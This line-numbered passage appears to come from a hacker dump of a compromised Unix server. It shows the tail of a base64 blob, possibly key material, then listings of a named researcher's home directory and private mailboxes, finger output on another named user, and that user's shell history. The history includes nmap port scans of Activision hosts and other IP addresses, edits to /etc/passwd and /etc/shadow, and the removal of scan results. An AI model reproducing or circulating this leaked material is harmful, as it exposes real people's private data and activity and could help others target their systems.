P4RkT7Ve5Hynn+eUQR96TkxirUMwfp5GV91mOvLJvX2fMC6SKDhHoKG7P6aGh99hbpiji2WV6bca3vI 5093 gzWPtIEZomssaOlDFcITgjcvoJs42BtyD5iAXpNazs0CdfjZtyoA4dTIsh3BecxyxD4KYzfU3NPjL3q 5094 ZqF7iSAAAAIBRacmRtkoSlyG5hvSNLe6vkNOsjsncCUa05c5pWFBCn338FCf7hP44Qx7/ZtR5Dgu7Vg 5095 PwdHdKUrVItHIbgwTMpQXWq9WbKhGwt82dgov9+NisNvbNiMLPywthNelfD5U37+QnwYx3SMbMTOJ2i 5096 SkiIfvJzQj7BTvSYjo0ePNN7A== 5097 %ls -la 5098 total 7437192 5099 -rw-r--r-- 1 effugas wheel 53 Mar 10 2005 +COMMENT 5100 -rw-r--r-- 1 effugas wheel 490 Mar 10 2005 +CONTENTS 5101 -rw-r--r-- 1 effugas wheel 307 Mar 10 2005 +DESC 5102 -r--r--r-- 1 effugas wheel 13080 Mar 10 2005 +MTREE_DIRS 5103 -rw-r--r-- 1 effugas wheel 1299747 Jul 16 2005 - 5104 -rw-r--r-- 1 effugas wheel 0 Sep 28 2005 -u 5105 drwx------ 68 effugas wheel 5120 Jul 17 11:43 . 5106 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 .. 5107 -rw------- 1 effugas wheel 434 Jan 13 2008 .Xauthority 5108 -rw-r--r-- 1 effugas wheel 0 Oct 24 2006 .addressbook 5109 -rw------- 1 effugas wheel 2285 Oct 24 2006 .addressbook.lu 5110 -rw------- 1 effugas wheel 12839 Jul 18 06:18 .bash_history 5111 drwxr-xr-x 7 effugas wheel 512 Jun 13 2008 .bittorrent 5112 drwxr-xr-x 6 effugas wheel 512 Feb 6 14:05 .cpan 5113 drwx------ 2 effugas wheel 512 Apr 23 2005 .elinks 5114 drwx------ 2 effugas jb 512 Sep 24 2005 .elm 5115 -rw-r--r-- 1 effugas wheel 63520 Sep 29 2005 .fonts.cache-1 5116 drwx------ 4 effugas wheel 512 Feb 15 2006 .gaim 5117 drwx------ 2 effugas wheel 512 Mar 19 00:41 .gnupg 5118 -rw------- 1 effugas wheel 302298 Dec 30 2005 .grepmail-cache 5119 -rw------- 1 effugas wheel 67 Jul 6 2008 .lesshst 5120 -rw-r--r-- 1 effugas wheel 133 Jun 10 2006 .mailboxlist 5121 -rw------- 1 effugas wheel 7465 Jun 3 06:23 .mysql_history 5122 -rw------- 1 effugas wheel 221 Sep 10 2004 .nessusrc 5123 -rw-r--r-- 1 effugas wheel 28672 Sep 2 2004 .nomde_ex.pl.swo 5124 -rw-r--r-- 1 effugas wheel 16384 Sep 7 2004 .nomde_ex.pl.swp 5125 drwx------ 8 effugas wheel 512 Dec 5 2005 .openwebmail 5126 -rw------- 1 effugas wheel 1592 Apr 20 19:28 .pine-interrupted-mail 5127 -rw------- 1 effugas wheel 17165 Jul 17 11:38 .pinerc 5128 -rw-r--r-- 1 effugas wheel 816 Jan 8 2006 .procmailrc 5129 -rw------- 1 effugas wheel 1024 Jan 7 2009 .rnd 5130 -rw-r--r-- 1 effugas wheel 12 Apr 4 2005 .slirprc 5131 drwx------ 2 effugas wheel 512 Jul 12 14:02 .spamassassin 5132 drwxr-xr-x 2 effugas wheel 512 Nov 9 2005 .ssh 5133 drwxr-xr-x 3 effugas wheel 512 Jun 23 2007 .subversion 5134 -rw------- 1 effugas jb 256 Dec 5 2005 .vacation.msg 5135 drwxr-xr-x 2 effugas wheel 512 Sep 29 2005 .vnc 5136 -rw-r--r-- 1 effugas wheel 5714 Sep 5 2007 110eclipse.jpg 5137 -rw-r--r-- 1 effugas wheel 5714 Sep 5 2007 110eclipse.jpg.1 5138 -rw-r--r-- 1 effugas wheel 4170702 Dec 17 2006 17-Day tripper.mp3 5139 -rw-r--r-- 1 effugas wheel 18163 Oct 10 2006 399299 5140 drwx------ 11 effugas wheel 2048 Jan 14 2007 4 5141 -rw------- 1 effugas wheel 1244999 Jul 25 2005 Admin Noise 5142 -rwx------ 1 effugas wheel 19253 May 20 2007 Alpha Man Conversation & Persuasion.torrent 5143 drwxr-xr-x 7 effugas wheel 512 Jun 14 2008 BitTorrent Downloads 5144 drwxr-xr-x 11 root wheel 1024 Jan 13 2007 BitTorrent-4.20.9 5145 -rw------- 1 effugas wheel 9215553 Aug 12 2006 CCCP 5146 -rw-r--r-- 1 effugas wheel 136192 Aug 12 2007 Cingular_Customized APN info and price sheet.doc 5147 -rw------- 1 effugas wheel 11072756 Sep 15 2006 Crypto 5148 -rwx------ 1 effugas wheel 18865 Nov 4 2006 David X Seduction and Relationships Seminar.torrent 5149 -rw-r--r-- 1 effugas wheel 64512 Jan 6 2006 DiogeNeS.doc 5150 -rw-r--r-- 1 effugas wheel 27648 May 10 13:01 Doxpara-NDT term sheet.doc 5151 -rw------- 1 effugas wheel 425406 Jul 25 2005 Drafts 5152 -rw-r--r-- 1 effugas wheel 27648 Aug 12 2007 Encryption sw_SecurStar info.doc 5153 lrwxr-xr-x 1 effugas wheel 29 Jan 8 2006 Funsec -> /usr/home/effugas/mail/Funsec 5154 -rw------- 1 effugas mail 10369669 Sep 25 2005 Gap 5155 -rw------- 1 effugas wheel 496 Sep 30 2005 INBOX.Drafts 5156 -rw------- 1 effugas wheel 324536 Nov 18 2005 INBOX.Sent 5157 -rw------- 1 effugas wheel 496 Sep 30 2005 INBOX.Trash 5158 -rwx------ 1 effugas wheel 20767 Oct 24 2006 Juggler - Charisma Arts Bootcamp.avi.torrent 5159 -rw-r--r-- 1 effugas wheel 403486571 Jul 13 2006 Junk 5160 -rw-r--r-- 1 effugas wheel 379402660 Nov 17 2005 Junk_toobig 5161 -rw------- 1 effugas wheel 280301055 Aug 21 2006 Known 5162 drwxr-xr-x 2 effugas wheel 512 Sep 26 2005 MT-3.2-en_US 5163 -rwx------ 1 effugas wheel 1377924 Sep 26 2005 MT-3.2.tar.gz 5164 drwxrwxrwx 2 effugas jb 512 Sep 24 2005 Mail 5165 -rw-r--r-- 1 effugas wheel 1438 Oct 4 2006 Makefile 5166 -rw------- 1 effugas wheel 229972323 Sep 21 2006 Older Mail 5167 -rw------- 1 effugas wheel 181797360 Jul 25 2005 Orig_Older 5168 -rw------- 1 effugas wheel 492 Jul 25 2005 Outbox 5169 -rw-r--r-- 1 effugas wheel 200578 Aug 12 2007 PhoneCrypt_docs_pc.pdf 5170 -rwx------ 1 effugas wheel 28554 Nov 18 2006 PickUp 101 - He Said, She Said - Volume 1.torrent 5171 drwxr-xr-x 2 effugas wheel 512 Oct 2 2005 PyFlickrUploadr 5172 -rw-r--r-- 1 effugas wheel 7164 Oct 2 2005 PyFlickrUploadr.tar.gz 5173 lrwxr-xr-x 1 effugas wheel 31 Jan 8 2006 RouteSec -> /usr/home/effugas/mail/RouteSec 5174 -rw-r--r-- 1 effugas wheel 1352443 Mar 1 2008 Secret of Mana.zip 5175 -rw------- 1 effugas wheel 144765683 Jul 26 2006 Sent 5176 -rw------- 1 effugas wheel 68609225 Jul 25 2005 Sent Items 5177 -rw-r--r-- 1 effugas wheel 0 Sep 25 2005 Spam 5178 -rw-r--r-- 1 effugas wheel 55823056 Aug 10 2006 Trash 5179 drwxr-xr-x 2 effugas wheel 512 Oct 28 2005 ack 5180 drwxr-xr-x 2 effugas wheel 1024 Aug 8 2007 airhook-2 5181 -rw-r--r-- 1 effugas wheel 28282 Apr 14 2003 airhook-2.tar.gz 5182 drwxr-xr-x 2 effugas wheel 512 Sep 8 2008 ap 5183 drwxr-xr-x 2 effugas wheel 1536 Feb 21 2008 arse 5184 -rw-r--r-- 1 effugas wheel 614 Jan 19 2005 authorized_keys 5185 -rw-r--r-- 1 effugas wheel 8048 Jan 23 2006 av2.txt 5186 -rw-r--r-- 1 effugas wheel 2641 Oct 6 2006 back.pem 5187 drwxr-xr-x 2 effugas wheel 1024 Jul 25 2006 bin 5188 -rw-r--r-- 1 effugas wheel 1801 Feb 23 2008 boing_seq.txt 5189 -rwx------ 1 effugas wheel 214576 Jul 25 2006 bplex_0_dev-src.gz 5190 -rw-r--r-- 1 effugas wheel 1662 Sep 8 2008 browserRedirect?url=itms%3A%2F%2Fax.phobos.apple.com.edgesuite.net%2FWebObjects%2FMZStore.woa%2Fwa%2FviewGenre%3Fid%3D35 5191 drwxr-xr-x 2 effugas wheel 512 Jun 11 2006 ca 5192 drwxr-xr-x 2 effugas wheel 512 Sep 24 2006 cl 5193 drwxr-xr-x 60 effugas wheel 4096 Jul 6 2008 content 5194 drwxrwxrwx 2 effugas wheel 512 Jul 8 2008 db 5195 -rw-r--r-- 1 effugas wheel 963360 Sep 26 2005 db.dump 5196 -rw------- 1 effugas wheel 2416 Apr 27 13:07 dead.letter 5197 -rw-r--r-- 1 effugas wheel 718 Feb 22 2008 del.txt 5198 -rw-r--r-- 1 effugas wheel 4196 Feb 23 2008 del_seq.txt 5199 -rw-r--r-- 1 effugas wheel 4188 Feb 23 2008 del_ts.txt 5200 -rw-r--r-- 1 effugas wheel 10980 Sep 19 2006 dell_ssl2.txt 5201 -rw------- 1 effugas wheel 815104 Feb 11 2008 dig.core 5202 drwxr-xr-x 2 effugas wheel 1024 Jul 30 2006 dissoc-0.1 5203 -rw-r--r-- 1 effugas wheel 51652 Jul 2 2001 dissoc-0.1.tar.gz 5204 -rw-r--r-- 1 effugas wheel 193 Oct 4 2006 distinfo 5205 -rwx------ 1 effugas wheel 7211132 Mar 15 2008 dk2_cli.pcap 5206 drwxr-xr-x 33 effugas wheel 3584 Jul 13 11:47 dl 5207 -rw-r--r-- 1 effugas wheel 4338 Mar 30 2005 dns.cap 5208 -rw-r--r-- 1 effugas wheel 4338 Apr 13 15:23 dns.pcap 5209 -rwx------ 1 effugas wheel 3793316 Jun 15 2006 domain_login_esp.cap 5210 drwxr-xr-x 2 effugas wheel 512 Dec 23 2008 dprint 5211 -rw-r--r-- 1 effugas wheel 615112704 Nov 5 2006 en_winxp_pro_with_sp2.iso 5212 -rw-r--r-- 1 effugas wheel 1967 Feb 23 2008 fark_seq.txt 5213 -rw-r--r-- 1 effugas wheel 1984 Feb 23 2008 fark_ts.txt 5214 drwxr-xr-x 2 effugas wheel 512 Oct 4 2006 files 5215 -rw------- 1 effugas jb 209744 Sep 25 2005 filtered 5216 -rw------- 1 effugas wheel 37106364 Sep 26 2005 fire_inbox 5217 -rw-r--r-- 1 effugas wheel 7385211 Oct 28 2005 foo.pgp 5218 -rw-r--r-- 1 effugas wheel 10485784 Jun 19 2006 foo.xml 5219 -rw-r--r-- 1 effugas wheel 12920 Feb 22 2008 g_seq.txt 5220 -rw-r--r-- 1 effugas wheel 12848 Feb 22 2008 g_ts.txt 5221 -rw------- 1 effugas jb 2909341 Jan 12 2006 gah 5222 drwxr-xr-x 9 effugas wheel 1536 Aug 11 2005 gaim-1.5.0 5223 -rw-r--r-- 1 effugas wheel 6123237 Aug 11 2005 gaim-1.5.0.tar.bz2 5224 -rw------- 1 effugas wheel 7999488 Sep 29 2005 gaim.core 5225 -rw-r--r-- 1 effugas wheel 1588 Jan 1 2006 ghet_ip.c 5226 drwxrwxr-x 2 effugas wheel 512 Sep 30 2005 ghetto 5227 drwxr-xr-x 2 effugas wheel 512 Sep 25 2005 gml 5228 -rwxr-xr-x 1 effugas wheel 3395 Jun 17 2004 gml.py 5229 drwxr-xr-x 2 effugas wheel 512 Aug 23 2007 haxedit 5230 -rwx------ 1 effugas wheel 40960 Aug 27 2007 haxedit.tgz 5231 -rwxr-xr-x 1 effugas wheel 5312 Apr 6 14:20 heh 5232 -rw-r--r-- 1 effugas wheel 168 Apr 6 14:20 heh.cpp 5233 drwxr-xr-x 2 effugas wheel 512 Apr 26 00:32 hmm 5234 -rw-r--r-- 1 effugas wheel 1636602 Oct 28 2005 hmm.txt 5235 -rw-r--r-- 1 effugas wheel 2200 Jan 21 2008 hoho.txt 5236 -rw-r--r-- 1 effugas wheel 15748938 Nov 24 2007 huh_shai.gz 5237 drwxr-xr-x 5 effugas wheel 512 Jan 24 2006 imgSeek-0.8.6 5238 -rw-r--r-- 1 effugas wheel 396056 Nov 14 2006 imgSeek-0.8.6.tar.bz2 5239 -rw-r--r-- 1 effugas wheel 618624 Aug 12 2007 imsi-capture_phonecrypt_secured.wav 5240 -rw-r--r-- 1 effugas wheel 74086 Jun 10 2006 index.php 5241 -rw-r--r-- 1 effugas wheel 36115 Oct 5 2006 index.txt 5242 -rwxr-xr-x 1 effugas wheel 2739 Nov 7 2005 info_bot.pl 5243 drwxr-xr-x 2 effugas wheel 133120 Dec 5 2006 is 5244 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif 5245 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif.1 5246 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif.2 5247 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif.3 5248 -rw-r--r-- 1 effugas wheel 764567 Nov 26 2007 jm.zone 5249 drwxr-xr-x 2 effugas wheel 512 Oct 8 2007 johnny 5250 -rw-r--r-- 1 effugas wheel 0 Sep 8 2008 known_hosts 5251 drwxr-xr-x 2 effugas wheel 512 Mar 8 2005 lib 5252 drwxr-xr-x 7 effugas wheel 1024 Aug 29 2008 libspf2-1.2.5 5253 -rw-r--r-- 1 effugas wheel 517945 Feb 23 2005 libspf2-1.2.5.tar.gz 5254 -rwx------ 1 effugas wheel 3548321 Jan 21 2008 local3.log 5255 -rw-r--r-- 1 effugas wheel 166676 Feb 22 2008 log.bin 5256 -rw-r--r-- 1 effugas wheel 22722620 Dec 8 2005 log.txt 5257 -rw-r--r-- 1 effugas wheel 10763 Mar 29 18:48 login 5258 drwxr-xr-x 3 effugas wheel 2048 Dec 5 2006 m 5259 -rw-r--r-- 1 effugas wheel 182 Feb 28 2006 mae.txt 5260 drwxr-xr-x 3 effugas wheel 512 Jul 17 11:39 mail 5261 drwxrwxrwx 2 effugas jb 512 Dec 31 2005 mail_oh 5262 -rw-r--r-- 1 effugas wheel 2765 Jun 1 2008 mangle.c 5263 -rw------- 1 effugas jb 7385213 Oct 28 2005 mater.pgp 5264 -rw-r--r-- 1 effugas wheel 66 Oct 28 2005 mater.pgp.2 5265 -rwxr-xr-x 1 effugas wheel 4961 Apr 14 17:31 mem 5266 -rw-r--r-- 1 effugas wheel 231 Apr 14 17:31 mem.c 5267 -rw-r--r-- 1 effugas wheel 1002 Jul 6 2008 migrate.pl 5268 drwxr-xr-x 2 effugas wheel 512 Jan 5 2008 mov 5269 drwxr-xr-x 7 effugas wheel 512 Sep 29 2005 msn 5270 drwxr-xr-x 2 effugas wheel 512 Sep 29 2005 msn-bot 5271 -rw-r--r-- 1 effugas wheel 16973 Jul 16 2003 msn-bot.zip 5272 drwxr-xr-x 2 effugas wheel 512 Jan 13 2006 music 5273 drwxr-xr-x 4 effugas wheel 4163072 Feb 2 2007 mypix 5274 -rw-r--r-- 1 effugas wheel 7096 Feb 22 2008 mys.txt 5275 -rw-r--r-- 1 effugas wheel 11102 Feb 23 2008 mys_seq.txt 5276 -rw-r--r-- 1 effugas wheel 1032 Feb 23 2008 mys_ts.txt 5277 drwxr-xr-x 7 effugas wheel 1024 Feb 13 2007 netcat-0.7.1 5278 -rwx------ 1 effugas wheel 398872 Feb 13 2007 netcat-0.7.1.tar.gz 5279 drwxr-xr-x 2 effugas wheel 512 Jun 5 2007 new 5280 -rw-r--r-- 1 effugas wheel 0 Jun 11 2006 newcert.pem 5281 -rw-r--r-- 1 effugas wheel 1180 Jun 11 2006 newreq.cer 5282 -rw-r--r-- 1 effugas wheel 1180 Jun 11 2006 newreq.pem 5283 -rwxr-xr-x 1 effugas wheel 10371 Nov 15 2006 nomde.pl 5284 drwxr-xr-x 5 effugas wheel 512 Sep 17 2004 ophcrack_1_0a 5285 -rw-r--r-- 1 effugas wheel 5114862 Sep 17 2004 ophcrack_1_0a.zip 5286 -rw-r--r-- 1 effugas wheel 139283 Jan 10 2006 out.txt 5287 -rw------- 1 effugas jb 138418 Sep 28 2005 penn 5288 -rw------- 1 root wheel 999878656 Nov 25 2008 perl5.8.8.core 5289 -rw------- 1 effugas wheel 91009024 Jan 26 17:29 pine.core 5290 drwxr-xr-x 3 effugas wheel 58368 Feb 2 2007 pix 5291 drwxr-xr-x 5 effugas wheel 512 Jan 26 2007 pix2 5292 -rw-r--r-- 1 effugas wheel 554 Oct 4 2006 pkg-descr 5293 -rw-r--r-- 1 effugas wheel 853 Oct 4 2006 pkg-plist 5294 drwxr-xr-x 3 effugas wheel 512 Jun 5 2007 s4 5295 -rw-r--r-- 1 effugas wheel 378156 Mar 14 2006 scapy.py 5296 drwxr-xr-x 8 effugas wheel 2560 Oct 8 2006 screen-4.0.2 5297 -rw-r--r-- 1 effugas wheel 840519 Jan 27 2004 screen-4.0.2.tar.gz 5298 drwxr-xr-x 3 effugas wheel 512 Sep 27 2005 sdba 5299 -rwxr-xr-x 1 effugas wheel 486449 Jul 12 2006 sequitur_simple.exe 5300 drwxr-xr-x 2 effugas wheel 512 Feb 6 14:10 shmoo 5301 -rw-r--r-- 1 effugas wheel 387800 Feb 13 2007 socat-1.5.0.0.tar.gz 5302 -rw-r--r-- 1 effugas wheel 0 Dec 30 2005 spam_first 5303 drwxr-xr-x 2 effugas wheel 2560 Jul 25 2006 src 5304 -rw-r--r-- 1 effugas wheel 144 Sep 27 2005 subcheck.pl 5305 -rw-rw---- 1 effugas mail 148812841 Dec 30 2005 superchunk_1 5306 -rw-rw---- 1 effugas mail 7489304 Dec 31 2005 superchunk_2 5307 drwxr-xr-x 2 effugas wheel 512 Apr 20 19:32 swap 5308 -rw-r--r-- 1 effugas wheel 117 Jul 6 2008 tcheck.pl 5309 -rw-r--r-- 1 effugas wheel 1025 Feb 22 2008 test.txt 5310 drwxr-xr-x 2 effugas wheel 512 Apr 3 15:48 tmp 5311 -rw-r--r-- 1 root wheel 221202 Nov 25 2008 tmp1 5312 -rw-r--r-- 1 root wheel 225530 Nov 25 2008 tmp2 5313 drwxr-xr-x 2 effugas wheel 512 Nov 11 2008 tor-audit 5314 drwxr-xr-x 5 effugas wheel 1536 Jun 23 2007 trunk 5315 -rwxr-xr-x 1 effugas wheel 7232 Feb 13 2007 udpfwd 5316 -rw-r--r-- 1 effugas wheel 3431 Feb 13 2007 udpfwd.c 5317 drwxr-xr-x 20 effugas wheel 1536 Jun 29 10:16 unbound-1.3.0 5318 -rw-r--r-- 1 effugas wheel 4059848 Jun 11 04:00 unbound-latest.tar.gz 5319 -rw-r--r-- 1 effugas wheel 87 May 17 2007 url.txt 5320 drwxr-xr-x 2 effugas wheel 512 Sep 20 2005 walker-3.8 5321 -rw-r--r-- 1 effugas wheel 18478 Sep 20 2005 walker-3.8.tar.gz 5322 -rwx------ 1 effugas wheel 24256 Jun 18 2006 webdav.txt 5323 -rwx------ 1 effugas wheel 21710 Jun 18 2006 webdav.xml 5324 drwxr-xr-x 2 effugas wheel 512 Nov 7 2005 wtf 5325 -rw-r--r-- 1 effugas wheel 92 May 30 2007 wtf.pl 5326 drwxr-xr-x 2 effugas wheel 1024 Jul 28 2006 xray 5327 -rw-r--r-- 1 effugas wheel 12840 Feb 23 2008 yahoo_seq.txt 5328 -rw-r--r-- 1 effugas wheel 13002 Feb 23 2008 yahoo_ts.txt 5329 %ls -la mail 5330 total 4656348 5331 drwxr-xr-x 3 effugas wheel 512 Jul 17 11:39 . 5332 drwx------ 68 effugas wheel 5120 Jul 17 11:43 .. 5333 drwx------ 4 effugas wheel 512 Oct 27 2006 .imap 5334 -rw------- 1 effugas wheel 6 Oct 7 2006 .subscriptions 5335 -rw------- 1 effugas wheel 101091425 May 10 11:00 Funsec 5336 -rw------- 1 effugas wheel 3758946 Feb 23 11:13 RouteSec 5337 -rw------- 1 effugas wheel 1297160537 Jul 12 14:02 Spam 5338 -rw------- 1 effugas wheel 26177660 May 6 14:13 Subject: 5339 -rw------- 1 effugas wheel 325849488 Jul 26 2008 Trash 5340 -r-------- 1 effugas wheel 0 Nov 15 2006 _PyR,xy1WFB.pmjm.com 5341 -rw-r--r-- 1 effugas wheel 46592 Apr 18 2006 dan.doc 5342 -rw------- 1 effugas wheel 190010509 Apr 27 14:02 drone 5343 -rw------- 1 effugas jb 66078 Apr 18 2006 galley.txt 5344 -rw------- 1 effugas wheel 0 Jan 29 2006 mail-trash 5345 -rw------- 1 effugas wheel 1884 Dec 31 2005 other 5346 -rw------- 1 effugas wheel 12310586 Jul 17 11:39 sent-mail 5347 -rw------- 1 effugas wheel 0 Jan 8 2006 spam-mail 5348 -rw------- 1 effugas wheel 296699245 Apr 18 02:36 to_first 5349 -rw------- 1 effugas wheel 129442683 May 10 08:03 to_other 5350 -rw------- 1 effugas wheel 0 Jan 7 2006 virus-mail 5351 %ls -lah /var/mail/effugas 5352 -rw-rw---- 1 effugas mail 1.4G Jul 17 11:41 /var/mail/effugas 5353 %cd /home%ls -la jb 5354 total 744332 5355 drwxr-xr-x 6 mooseaccess jb 512 Apr 6 2004 . 5356 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 .. 5357 -rw------- 1 root jb 6109 Sep 29 2006 .bash_history 5358 -rw-r--r-- 1 mooseaccess jb 771 Sep 9 2004 .cshrc 5359 -rw-r--r-- 1 mooseaccess jb 255 Sep 9 2004 .login 5360 -rw-r--r-- 1 mooseaccess jb 165 Sep 9 2004 .login_conf 5361 -rw------- 1 mooseaccess jb 371 Sep 9 2004 .mail_aliases 5362 -rw-r--r-- 1 mooseaccess jb 331 Sep 9 2004 .mailrc 5363 drwxr-xr-x 8 mooseaccess jb 512 Apr 6 2004 .openwebmail 5364 -rw-r--r-- 1 mooseaccess jb 801 Sep 9 2004 .profile 5365 -rw------- 1 mooseaccess jb 276 Sep 9 2004 .rhosts 5366 -rw------- 1 root jb 1024 Sep 12 2004 .rnd 5367 -rw-r--r-- 1 mooseaccess jb 852 Sep 9 2004 .shrc 5368 drwx------ 2 root jb 512 Sep 10 2006 .ssh 5369 drwxr-xr-x 2 root jb 512 Nov 27 2004 airhook-2 5370 -rw-r--r-- 1 root jb 28282 Nov 27 2004 airhook-2.tar.gz 5371 drwxr-xr-x 2 mooseaccess jb 512 Apr 6 2004 mail 5372 -rw------- 1 root jb 900104 Nov 18 2004 paketto-1.10.tar.gz 5373 -rw-r--r-- 1 root jb 365 Sep 12 2006 test-scan-ddi-for-quoting.gnmap 5374 -rw-r--r-- 1 root jb 390 Sep 12 2006 test-scan-ddi-for-quoting.nmap 5375 -rw-r--r-- 1 root jb 1023 Sep 12 2006 test-scan-ddi-for-quoting.xml 5376 -rw-r--r-- 1 jay jay 1412325 May 9 2005 vpnforjay.tar.gz 5377 -rw-r--r-- 1 root jb 378449920 Sep 6 2006 win2k.iso 5378 %finger jb 5379 Login: jb Name: Jay "Ask DanK" Beale 5380 Directory: /home/jb Shell: /sbin/nologin 5381 Last login Mon Jun 29 10:00 (PDT) on ttyp6 from cpe-72-225-172- 5382 No Mail. 5383 No Plan. 5384 %cat jb/.bash_history 5385 ls 5386 cd /tmp 5387 ls 5388 ls -al 5389 ls -al | grep jb 5390 cd 5391 exit 5392 ls 5393 cd / 5394 ls 5395 cd space 5396 ls 5397 cd iso/ 5398 ls 5399 pwd 5400 exit 5401 tcpdump dst host 66.92.163.118 5402 tcpdump -n dst host 66.92.163.118 5403 tcpdump -n dst host 66.92.163.118 5404 tcpdump -n dst host 66.92.163.118 5405 exit 5406 #nmap -P0 -sS -r --max_rtt_timeout 66.92.163.118 5407 ping 66.92.163.118 5408 ping 66.92.163.118 5409 nmap -P0 -sS -r --max_rtt_timeout 110 --min_rtt_timeout 27 --initial_rtt_timeout 55 66.92.163.118 5410 nmap -P0 -p1-65535 -r --max_rtt_timeout 110 --min_rtt_timeout 27 --initial_rtt_timeout 55 66.92.163.118 5411 exit 5412 ls 5413 nmap -v 5414 nmap -V 5415 nmap -sS -oA -sV -P0 -p1-65535 -oA nmap-transfer.activision.com transfer.activision.com 5416 ls 5417 ls 5418 ls 5419 ls 5420 pwd 5421 ls 5422 cd .. 5423 ls 5424 cd /usr/local/ 5425 ls 5426 ls bin/ 5427 apt-get install scanrand 5428 cd /usr/ports/ 5429 ls 5430 find . -name "*scanrand*" -print 5431 find . -name "*paketto*" -print 5432 ls 5433 cd 5434 ls 5435 su - jay 5436 cp paketto-1.10.tar.gz ~jay/ 5437 su - jay 5438 vi /etc/passwd 5439 ls 5440 chown jay ~jay/paketto-1.10.tar.gz 5441 su - jay 5442 cd ~jay/paketto-1.10 5443 make install 5444 dmesg | less 5445 pwd 5446 ls 5447 cd 5448 ls 5449 tail -f nmap-transfer.activision.com.gnmap 5450 tail -f nmap-transfer.activision.com.xml 5451 tail -f nmap-transfer.activision.com.xml ' 5452 5453 ' 5454 ' 5455 mv nmap-3.75.tar.bz2 ~jay/ ; chown jay ~jay/nmap* 5456 su - nmap 5457 su - jay 5458 pwd 5459 cd ~jay 5460 cd nmap-3.75 5461 ls 5462 make install 5463 ls 5464 su - jay 5465 nessusd 5466 ls 5467 nessusd 5468 ls 5469 cd 5470 ls 5471 nessusd 5472 traceroute transfer.activison.com 5473 iptables -A OUTPUT -j ACCEPT 5474 ls 5475 ping webtracker4.activision.com 5476 nmap -P0 -p1-65535 -sS -oA nmap-scan-webtracker4.txt webtracker4.activision.com 5477 nmap -P0 -sS -p 22,21,23 66.77.144.28 5478 traceroute 66.77.144.28 5479 nmap -P0 -sS -p 22,21,23 66.77.144.28 5480 traceroute 66.77.144.28 5481 tcptraceroute 5482 pwd 5483 cd /usr/ports/ 5484 find . -name "tcptrace*" -print 5485 cd net/tcptraceroute/ 5486 ls 5487 make install 5488 pwd 5489 cd 5490 tcptraceroute 66.77.144.28 5491 tcptraceroute -p 1521 66.77.144.28 5492 tcptraceroute -p 23 66.77.144.28 5493 ls 5494 exit 5495 ls 5496 tail nmap-scan-webtracker4.txt. 5497 tail nmap-scan-webtracker4.txt.nmap 5498 tail nmap-scan-webtracker4.txt.xml 5499 cat nmap-scan-webtracker4.txt.xml 5500 tcpdump src host 66.77.144.43 5501 nmap -P0 -sS -p80 webtracker4.activision.com 5502 nmap -P0 -sS -p443 webtracker4.activision.com 5503 nmap -P0 -sS -p1-65535 -oA 63.146.124.34-35-37 63.146.124.34 63.146.124.35 63.146.124.37 5504 su - jay 5505 ls 5506 ls 5507 less 63.146.124.34-35-37.nmap 5508 bitchx 5509 Bitchx 5510 BitchX 5511 cd /usr/ports 5512 ls 5513 find . -name "irc*" -print 5514 cd irc 5515 ls 5516 sirc 5517 cd sirc 5518 make install 5519 screen 5520 su - jay 5521 screen -r 5522 screen -r 5523 screen -r 5524 screen -wipe 5525 screen -r 5526 ps -ef |grep screen 5527 screen -r 5528 screen -r 5529 screen -r 5530 man screen 5531 screen -d 5532 screen -r 5533 exit 5534 screen -r 5535 exit 5536 exit 5537 screen -a 5538 screen -r 5539 exit 5540 screen -r 5541 ls 5542 ps -ef | grep air 5543 grep air /etc/inetd.conf 5544 pwd 5545 cd make 5546 tar -xzvf airhook-2.tar.gz 5547 cd airhook-2 5548 ls 5549 make 5550 echo $? 5551 ls 5552 less README 5553 vi Makefile 5554 make 5555 screen -r 5556 screen -r 5557 su - jay 5558 screen -d 5559 screen -r 5560 screen -r 5561 screeen -d 5562 screen -d 5563 screen -r 5564 su - jay 5565 su - jay 5566 su - jay 5567 exit 5568 screen -r 5569 screen 5570 useradd lance 5571 adduser lance 5572 su - lance 5573 userdel lance 5574 deluser lance 5575 vi /etc/passwd 5576 vi /etc/shadow 5577 vi /etc/shadow 5578 vi /etc/passwd 5579 su - lance 5580 su - jay 5581 ls 5582 exit 5583 screen 5584 screen -r 5585 screen -d 5586 screen -r 5587 rmuser lance 5588 exit 5589 dsirc 5590 sirc www2.linuxsecurity.org 5591 su - jay 5592 exit 5593 screen -r 5594 ps -ef |grep screen 5595 screen 5596 screen -r 5597 screen -d && screen -r 5598 screen -r 5599 screen -d 5600 screen -r 5601 screen -r 5602 pkg_info | grep nmap 5603 nmap 5604 clear 5605 i 5606 su - jay 5607 ls 5608 cat /etc/passwd 5609 su - jay 5610 ls 5611 ls -l /etc/passwd 5612 cat /etc/passwd 5613 ls ~effugas 5614 ls 5615 pwd 5616 ls -l 5617 cd .. 5618 ls 5619 ls -l 5620 last -1 5621 nmap -P0 -O 216.220.209.238 5622 exit 5623 last -1 5624 last -1 effugas 5625 nmap -O 216.220.209.238 5626 nmap -O -P0 216.220.209.238 5627 screen 5628 screen -r 5629 screen -d 5630 screen -r 5631 exit 5632 last -1 jay 5633 last -1 jb 5634 last -1 -n jb 5635 last -1 -i jb 5636 man last 5637 last -1 jb 5638 nmap -O 24.19.11.162 | less 5639 nmap -P0 -O 24.19.11.162 | less 5640 nmap -P0 -O 24.19.11.162 | less 5641 nmap -P0 -p1-65535 -O 24.19.11.162 | less 5642 nmap -P0 -sS -p1-65535 -O 24.19.11.162 | less 5643 ls 5644 rm -fr 63.146.124.34-35-37.* 5645 ls 5646 rm -fr nmap-* 5647 ls 5648 cd ~jay 5649 ls 5650 pwd 5651 cat /etc/passwd 5652 passwd jay 5653 ls 5654 cd ~jay 5655 ls 5656 passwd jay 5657 ls 5658 ls 5659 rm -fr paketto-1.10 nmap-3.75 nmap-3.75.tar.bz2 paketto-1.10.tar.gz 5660 ls 5661 ls 5662 cd ~jay 5663 ls 5664 less goodluck\! 5665 rm goodluck\! 5666 mv vpnforjay.tar.gz ~jb/ 5667 cd 5668 passwd jay 5669 exit 5670 ls 5671 su - jay 5672 ls 5673 cat /etc/passwd 5674 su - effugas_nr 5675 cd ~effugas_nr/ 5676 ls 5677 ls BitTorrent-3.4.2 5678 tar -cf - 